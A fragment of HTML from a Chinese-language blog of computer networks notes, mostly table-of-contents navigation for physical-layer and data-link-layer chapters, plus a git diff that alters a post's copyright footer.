Fiber to the Home）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E7%BB%A7%E7%BA%BF%EF%BC%88trunk%EF%BC%89%E5%92%8C%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8%EF%BC%88mulplexing%EF%BC%89"><span class="toc-number">7.3.</span> <span class="toc-text">中继线（trunk）和多路复用（mulplexing）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E5%AD%97%E5%8C%96%E8%AF%AD%E9%9F%B3%E4%BF%A1%E5%8F%B7"><span class="toc-number">7.3.1.</span> <span class="toc-text">数字化语音信号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8"><span class="toc-number">7.3.2.</span> <span class="toc-text">时分多路复用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SONET-SDH"><span class="toc-number">7.3.3.</span> <span class="toc-text">SONET &#x2F; SDH</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B3%A2%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8%EF%BC%88WDM-Wavelength-Division-Multiplexing%EF%BC%89"><span class="toc-number">7.3.4.</span> <span class="toc-text">波分多路复用（WDM, Wavelength Division Multiplexing）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%EF%BC%88switching%EF%BC%89"><span class="toc-number">7.4.</span> <span class="toc-text">交换（switching）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B5%E8%B7%AF%E4%BA%A4%E6%8D%A2%EF%BC%88circuit-switching%EF%BC%89"><span class="toc-number">7.4.1.</span> <span class="toc-text">电路交换（circuit switching）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%8C%85%E4%BA%A4%E6%8D%A2%EF%BC%88packet-switching%EF%BC%89"><span class="toc-number">7.4.2.</span> <span class="toc-text">数据包交换（packet switching）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B5%E8%B7%AF%E4%BA%A4%E6%8D%A2%E5%92%8C%E6%95%B0%E6%8D%AE%E5%8C%85%E4%BA%A4%E6%8D%A2%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">7.4.3.</span> <span class="toc-text">电路交换和数据包交换的比较</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D%E7%B3%BB%E7%BB%9F"><span class="toc-number">8.</span> <span class="toc-text">移动电话系统*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%80%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-1G-%E6%A8%A1%E6%8B%9F%E8%AF%AD%E9%9F%B3%EF%BC%88analog-voice%EF%BC%89"><span class="toc-number">8.1.</span> <span class="toc-text">第一代移动电话 1G : 模拟语音（analog voice）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%BA%8C%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-2G-%E6%95%B0%E5%AD%97%E8%AF%AD%E9%9F%B3%EF%BC%88digital-voice%EF%BC%89"><span class="toc-number">8.2.</span> <span class="toc-text">第二代移动电话 2G : 数字语音（digital voice）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%89%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-3G-%E6%95%B0%E5%AD%97%E8%AF%AD%E9%9F%B3%E5%92%8C%E6%95%B0%E6%8D%AE%EF%BC%88digital-voice-data%EF%BC%89"><span class="toc-number">8.3.</span> <span class="toc-text">第三代移动电话 3G : 数字语音和数据（digital voice + data）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E5%9B%9B%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D-4G"><span class="toc-number">8.4.</span> <span class="toc-text">第四代移动电话 4G</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%9C%89%E7%BA%BF%E7%94%B5%E8%A7%86"><span class="toc-number">9.</span> <span class="toc-text">有线电视*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%B1%E7%94%A8%E5%A4%A9%E7%BA%BF%E7%94%B5%E8%A7%86%EF%BC%88Community-Antenna-Television%EF%BC%89"><span class="toc-number">9.1.</span> <span class="toc-text">共用天线电视（Community Antenna Television）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%BF%E7%BC%86%E4%B8%8A%E7%9A%84-Internet"><span class="toc-number">9.2.</span> <span class="toc-text">线缆上的 Internet</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%A2%91%E8%B0%B1%E5%88%86%E9%85%8D%EF%BC%88spectrum-allocation%EF%BC%89"><span class="toc-number">9.3.</span> <span class="toc-text">频谱分配（spectrum allocation）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%BF%E7%BC%86%E8%B0%83%E5%88%B6%E8%A7%A3%E8%B0%83%E5%99%A8%EF%BC%88cable-modem%EF%BC%89"><span class="toc-number">9.4.</span> <span class="toc-text">线缆调制解调器（cable modem）</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a 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diff --git a/2018/06/14/Notes/Computer Networks/The-Data-Link-Layer/index.html b/2018/06/14/Notes/Computer Networks/The-Data-Link-Layer/index.html
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@@ -899,7 +899,7 @@ <h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</
 <li>数据链路层协议：滑动窗口（sliding window）</li>
 <li>规范和验证：正确性（correctness）、完整性（completeness）、可达性分析（reachability analysis）、失败案例（failure cases）</li>
 </ol>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/14/Notes/Computer%20Networks/The-Data-Link-Layer/">https://jckling.github.io/2018/06/14/Notes/Computer Networks/The-Data-Link-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98"><span class="toc-number">1.</span> <span class="toc-text">数据链路层设计问题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BE%9B%E7%BB%99%E7%BD%91%E7%BB%9C%E5%B1%82%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.</span> <span class="toc-text">提供给网络层的服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#3-%E7%A7%8D%E5%8F%AF%E8%83%BD%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.1.</span> <span class="toc-text">3 种可能的服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A1%AE%E8%AE%A4"><span class="toc-number">1.1.2.</span> <span class="toc-text">确认</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.3.</span> <span class="toc-text">面向连接的服务</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%88%90%E5%B8%A7%EF%BC%88frame%EF%BC%89"><span class="toc-number">1.2.</span> <span class="toc-text">成帧（frame）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%97%E8%8A%82%E8%AE%A1%E6%95%B0%E6%B3%95"><span class="toc-number">1.2.1.</span> <span class="toc-text">字节计数法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%97%E8%8A%82%E5%A1%AB%E5%85%85%E7%9A%84%E6%A0%87%E5%BF%97%E5%AD%97%E8%8A%82%E6%B3%95"><span class="toc-number">1.2.2.</span> <span class="toc-text">字节填充的标志字节法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AF%94%E7%89%B9%E5%A1%AB%E5%85%85%E7%9A%84%E6%A0%87%E5%BF%97%E6%AF%94%E7%89%B9%E6%B3%95"><span class="toc-number">1.2.3.</span> <span class="toc-text">比特填充的标志比特法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%A9%E7%90%86%E5%B1%82%E7%BC%96%E7%A0%81%E8%BF%9D%E7%A6%81%E6%B3%95"><span class="toc-number">1.2.4.</span> <span class="toc-text">物理层编码违禁法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%88%90%E5%B8%A7%E6%96%B9%E6%B3%95%E7%9A%84%E7%BB%BC%E5%90%88"><span class="toc-number">1.2.5.</span> <span class="toc-text">成帧方法的综合</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6"><span class="toc-number">1.3.</span> <span class="toc-text">差错控制</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6"><span class="toc-number">1.4.</span> <span class="toc-text">流量控制</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%B7%AE%E9%94%99%E6%A3%80%E6%B5%8B%E5%92%8C%E7%BA%A0%E6%AD%A3"><span class="toc-number">2.</span> <span class="toc-text">差错检测和纠正</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%94%99%E8%AF%AF%E6%A8%A1%E5%9E%8B"><span class="toc-number">2.1.</span> <span class="toc-text">错误模型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%A0%E9%94%99%E7%A0%81"><span class="toc-number">2.2.</span> <span class="toc-text">纠错码</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B5%B7%E6%98%8E%E8%B7%9D%E7%A6%BB%EF%BC%88Hamming-distance%EF%BC%89"><span class="toc-number">2.2.1.</span> <span class="toc-text">海明距离（Hamming distance）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B5%B7%E6%98%8E%E7%A0%81%EF%BC%88Hamming-codes%EF%BC%89"><span class="toc-number">2.2.2.</span> <span class="toc-text">海明码（Hamming codes）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8D%B7%E7%A7%AF%E7%A0%81%EF%BC%88Binary-convolutional-codes%EF%BC%89"><span class="toc-number">2.2.3.</span> <span class="toc-text">二进制卷积码（Binary convolutional codes）*</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%87%8C%E5%BE%B7%E6%89%80%E7%BD%97%E9%97%A8%E7%A0%81%EF%BC%88Reed-Solomon-codes%EF%BC%89"><span class="toc-number">2.2.4.</span> <span class="toc-text">里德所罗门码（Reed-Solomon codes）*</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%8E%E5%AF%86%E5%BA%A6%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%A0%81%EF%BC%88LDPC-Low-Density-Parity-Check-codes%EF%BC%89"><span class="toc-number">2.2.5.</span> <span class="toc-text">低密度奇偶校验码（LDPC, Low-Density Parity Check codes）*</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A3%80%E9%94%99%E7%A0%81"><span class="toc-number">2.3.</span> <span class="toc-text">检错码</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A5%87%E5%81%B6"><span class="toc-number">2.3.1.</span> <span class="toc-text">奇偶</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%A1%E9%AA%8C%E5%92%8C"><span class="toc-number">2.3.2.</span> <span class="toc-text">校验和</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C"><span class="toc-number">2.3.3.</span> <span class="toc-text">循环冗余校验</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%9F%BA%E6%9C%AC%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.</span> <span class="toc-text">基本数据链路层协议</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B9%8C%E6%89%98%E9%82%A6%E5%BC%8F%E7%9A%84%E5%8D%95%E5%B7%A5%E5%8D%8F%E8%AE%AE%EF%BC%88Utopian-Simplex-Protocol%EF%BC%89"><span class="toc-number">3.1.</span> <span class="toc-text">乌托邦式的单工协议（Utopian Simplex Protocol）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E9%94%99%E4%BF%A1%E9%81%93%E4%B8%8A%E7%9A%84%E5%8D%95%E5%B7%A5%E5%81%9C-%E7%AD%89%E5%BC%8F%E5%8D%8F%E8%AE%AE%EF%BC%88Simplex-Stop-and-Wait-Protocol-for-an-Error-Free-Channel%EF%BC%89"><span class="toc-number">3.2.</span> <span class="toc-text">无错信道上的单工停-等式协议（Simplex Stop and Wait Protocol for an Error-Free Channel）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%89%E9%94%99%E4%BF%A1%E9%81%93%E4%B8%8A%E7%9A%84%E5%8D%95%E5%B7%A5%E5%81%9C-%E7%AD%89%E5%BC%8F%E5%8D%8F%E8%AE%AE%EF%BC%88Simplex-Stop-and-Wait-Protocol-for-a-Noisy-Channel%EF%BC%89"><span class="toc-number">3.3.</span> <span class="toc-text">有错信道上的单工停-等式协议（Simplex Stop-and-Wait Protocol for a Noisy Channel）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.</span> <span class="toc-text">滑动窗口协议</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-%E4%BD%8D%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.1.</span> <span class="toc-text">1 位滑动窗口协议</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9B%9E%E9%80%80N%E5%8D%8F%E8%AE%AE%EF%BC%88go-back-n%EF%BC%89"><span class="toc-number">4.2.</span> <span class="toc-text">回退N协议（go back n）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AE%A1%E9%81%93%E5%8C%96%E7%AD%96%E7%95%A5%EF%BC%88Pipelining-Strategies%EF%BC%89"><span class="toc-number">4.2.1.</span> <span class="toc-text">管道化策略（Pipelining Strategies）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E5%92%8C%E8%A7%A3%E5%86%B3"><span class="toc-number">4.2.2.</span> <span class="toc-text">问题和解决</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E4%B8%8E%E7%BC%93%E5%AD%98"><span class="toc-number">4.2.3.</span> <span class="toc-text">带宽与缓存</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%80%E5%A4%A7%E5%BA%8F%E5%8F%B7%E4%B8%8E%E5%8F%91%E9%80%81%E7%AA%97%E5%8F%A3%E5%A4%A7%E5%B0%8F"><span class="toc-number">4.2.4.</span> <span class="toc-text">最大序号与发送窗口大小</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%B4%AF%E8%AE%A1%E7%A1%AE%E8%AE%A4%EF%BC%88cumulative-acknowledgement%EF%BC%89"><span class="toc-number">4.2.5.</span> <span class="toc-text">累计确认（cumulative acknowledgement）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88timer%EF%BC%89"><span class="toc-number">4.2.6.</span> <span class="toc-text">计时器（timer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%80%89%E6%8B%A9%E9%87%8D%E4%BC%A0%E5%8D%8F%E8%AE%AE%EF%BC%88selective-repeat%EF%BC%89"><span class="toc-number">4.3.</span> <span class="toc-text">选择重传协议（selective repeat）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%91%E9%80%81-%E6%8E%A5%E6%94%B6%E7%AA%97%E5%8F%A3"><span class="toc-number">4.3.1.</span> <span class="toc-text">发送 &#x2F; 接收窗口</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E9%A1%BA%E5%BA%8F%E6%8E%A5%E6%94%B6"><span class="toc-number">4.3.2.</span> <span class="toc-text">非顺序接收</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%80%E5%A4%A7%E5%BA%8F%E5%8F%B7%E4%B8%8E%E6%8E%A5%E6%94%B6%E7%AA%97%E5%8F%A3%E5%A4%A7%E5%B0%8F"><span class="toc-number">4.3.3.</span> <span class="toc-text">最大序号与接收窗口大小</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%93%E5%86%B2%E5%8C%BA%E4%B8%8E%E8%AE%A1%E6%97%B6%E5%99%A8"><span class="toc-number">4.3.4.</span> <span class="toc-text">缓冲区与计时器</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9B%B4%E5%8A%A0%E6%9C%89%E6%95%88%E7%9A%84%E7%AD%96%E7%95%A5%E6%9D%A5%E5%A4%84%E7%90%86%E9%94%99%E8%AF%AF"><span class="toc-number">4.3.5.</span> <span class="toc-text">更加有效的策略来处理错误</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%80%A7%E8%83%BD%EF%BC%88performance%EF%BC%89"><span class="toc-number">4.3.6.</span> <span class="toc-text">性能（performance）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E5%8D%8F%E8%AE%AE%E5%AE%9E%E4%BE%8B"><span class="toc-number">5.</span> <span class="toc-text">数据链路层协议实例</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#SONET%E4%B8%8A%E7%9A%84%E6%95%B0%E6%8D%AE%E5%8C%85%EF%BC%88Packet-over-SONET%EF%BC%89"><span class="toc-number">5.1.</span> <span class="toc-text">SONET上的数据包（Packet over SONET）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#PPP-%E7%89%B9%E6%80%A7"><span class="toc-number">5.1.1.</span> <span class="toc-text">PPP 特性</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PPP-%E5%92%8C-HDLC"><span class="toc-number">5.1.2.</span> <span class="toc-text">PPP 和 HDLC</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%82%B9%E5%88%B0%E7%82%B9%E9%80%9A%E4%BF%A1"><span class="toc-number">5.1.3.</span> <span class="toc-text">点到点通信</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PPP-%E5%B8%A7%E6%A0%BC%E5%BC%8F"><span class="toc-number">5.1.4.</span> <span class="toc-text">PPP 帧格式</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8A%B6%E6%80%81%E6%9C%BA"><span class="toc-number">5.1.5.</span> <span class="toc-text">状态机</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AF%B9%E7%A7%B0%E6%95%B0%E5%AD%97%E7%94%A8%E6%88%B7%E7%BA%BF%EF%BC%88ADSL-%EF%BC%88Asymmetric-Digital-Subscriber-Loop%EF%BC%89"><span class="toc-number">5.2.</span> <span class="toc-text">对称数字用户线（ADSL, （Asymmetric Digital Subscriber Loop）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">6.</span> <span class="toc-text">总结</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/14/Notes/Computer%20Networks/The-Data-Link-Layer/">https://jckling.github.io/2018/06/14/Notes/Computer Networks/The-Data-Link-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98"><span class="toc-number">1.</span> <span class="toc-text">数据链路层设计问题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BE%9B%E7%BB%99%E7%BD%91%E7%BB%9C%E5%B1%82%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.</span> <span class="toc-text">提供给网络层的服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#3-%E7%A7%8D%E5%8F%AF%E8%83%BD%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.1.</span> <span class="toc-text">3 种可能的服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A1%AE%E8%AE%A4"><span class="toc-number">1.1.2.</span> <span class="toc-text">确认</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.3.</span> <span class="toc-text">面向连接的服务</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%88%90%E5%B8%A7%EF%BC%88frame%EF%BC%89"><span class="toc-number">1.2.</span> <span class="toc-text">成帧（frame）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%97%E8%8A%82%E8%AE%A1%E6%95%B0%E6%B3%95"><span class="toc-number">1.2.1.</span> <span class="toc-text">字节计数法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%97%E8%8A%82%E5%A1%AB%E5%85%85%E7%9A%84%E6%A0%87%E5%BF%97%E5%AD%97%E8%8A%82%E6%B3%95"><span class="toc-number">1.2.2.</span> <span class="toc-text">字节填充的标志字节法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AF%94%E7%89%B9%E5%A1%AB%E5%85%85%E7%9A%84%E6%A0%87%E5%BF%97%E6%AF%94%E7%89%B9%E6%B3%95"><span class="toc-number">1.2.3.</span> <span class="toc-text">比特填充的标志比特法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%A9%E7%90%86%E5%B1%82%E7%BC%96%E7%A0%81%E8%BF%9D%E7%A6%81%E6%B3%95"><span class="toc-number">1.2.4.</span> <span class="toc-text">物理层编码违禁法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%88%90%E5%B8%A7%E6%96%B9%E6%B3%95%E7%9A%84%E7%BB%BC%E5%90%88"><span class="toc-number">1.2.5.</span> <span class="toc-text">成帧方法的综合</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6"><span class="toc-number">1.3.</span> <span class="toc-text">差错控制</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6"><span class="toc-number">1.4.</span> <span class="toc-text">流量控制</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%B7%AE%E9%94%99%E6%A3%80%E6%B5%8B%E5%92%8C%E7%BA%A0%E6%AD%A3"><span class="toc-number">2.</span> <span class="toc-text">差错检测和纠正</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%94%99%E8%AF%AF%E6%A8%A1%E5%9E%8B"><span class="toc-number">2.1.</span> <span class="toc-text">错误模型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%A0%E9%94%99%E7%A0%81"><span class="toc-number">2.2.</span> <span class="toc-text">纠错码</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B5%B7%E6%98%8E%E8%B7%9D%E7%A6%BB%EF%BC%88Hamming-distance%EF%BC%89"><span class="toc-number">2.2.1.</span> <span class="toc-text">海明距离（Hamming distance）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B5%B7%E6%98%8E%E7%A0%81%EF%BC%88Hamming-codes%EF%BC%89"><span class="toc-number">2.2.2.</span> <span class="toc-text">海明码（Hamming codes）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8D%B7%E7%A7%AF%E7%A0%81%EF%BC%88Binary-convolutional-codes%EF%BC%89"><span class="toc-number">2.2.3.</span> <span class="toc-text">二进制卷积码（Binary convolutional codes）*</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%87%8C%E5%BE%B7%E6%89%80%E7%BD%97%E9%97%A8%E7%A0%81%EF%BC%88Reed-Solomon-codes%EF%BC%89"><span class="toc-number">2.2.4.</span> <span class="toc-text">里德所罗门码（Reed-Solomon codes）*</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%8E%E5%AF%86%E5%BA%A6%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%A0%81%EF%BC%88LDPC-Low-Density-Parity-Check-codes%EF%BC%89"><span class="toc-number">2.2.5.</span> <span class="toc-text">低密度奇偶校验码（LDPC, Low-Density Parity Check codes）*</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A3%80%E9%94%99%E7%A0%81"><span class="toc-number">2.3.</span> <span class="toc-text">检错码</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A5%87%E5%81%B6"><span class="toc-number">2.3.1.</span> <span class="toc-text">奇偶</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%A1%E9%AA%8C%E5%92%8C"><span class="toc-number">2.3.2.</span> <span class="toc-text">校验和</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C"><span class="toc-number">2.3.3.</span> <span class="toc-text">循环冗余校验</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%9F%BA%E6%9C%AC%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.</span> <span class="toc-text">基本数据链路层协议</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B9%8C%E6%89%98%E9%82%A6%E5%BC%8F%E7%9A%84%E5%8D%95%E5%B7%A5%E5%8D%8F%E8%AE%AE%EF%BC%88Utopian-Simplex-Protocol%EF%BC%89"><span class="toc-number">3.1.</span> <span class="toc-text">乌托邦式的单工协议（Utopian Simplex Protocol）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" 